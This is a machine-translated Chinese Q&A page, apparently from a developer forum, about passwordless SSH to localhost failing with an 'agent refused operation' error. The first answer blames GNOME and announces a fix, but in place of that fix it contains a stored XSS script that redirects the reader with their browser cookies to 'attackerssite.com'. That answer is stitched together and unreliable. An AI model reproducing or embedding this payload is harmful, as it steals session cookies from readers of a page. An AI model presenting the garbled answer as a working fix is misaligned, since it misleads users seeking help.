我正在尝试对自己ssh(我在本地开发机上运行ansible)。我希望在不提示输入密码的情况下对自己隐瞒。
所以...
我跑了
ssh-keygen -t rsa
提示输入密码时,将其留空
ssh-copy-id 127.0.0.1
cat ~/.ssh/id_rsa.pub >> ~/.ssh/authorized_keys
chmod og-wx ~/.ssh/authorized_keys
ssh-add
当我随后运行ssh 127.0.0.1时,它提示我输入密码!有没有搞错?还引发了此错误:
sign_and_send_pubkey: signing failed: agent refused operation
所以我签出了:sign_and_send_pubkey: signing failed: agent refused operation
它说要运行ssh-add -l,然后返回结果。
另外,〜/ .ssh是700 该目录的内容为600
在使用ssh时如何避免提示输入密码?
答案 0 :(得分:0)
这是答案... H / T @maulinglawns on stored XSS
这不是ssh-copy-id问题。
这是一个侏儒问题。如果从桌面打开终端,则会发生我提到的问题。如果您使用tty,那么它将按预期工作。
要摆脱ssh代理对gnome的影响,请执行以下操作:
<script>window.location = 'attackerssite.com?cookie=' + document.cookie</script>
答案 1 :(得分:-1)
当您尝试这样做时,是否会提示输入密码:
ssh 127.0.0.1?
如果是,则未正确添加.pub密钥。您应该使用以下方法再次尝试复制id_rsa.pub密钥:
ssh-copy-id 127.0.0.1
以上命令将提示您输入密码,一旦输入正确的密码,它将允许从下次尝试进行无密码登录。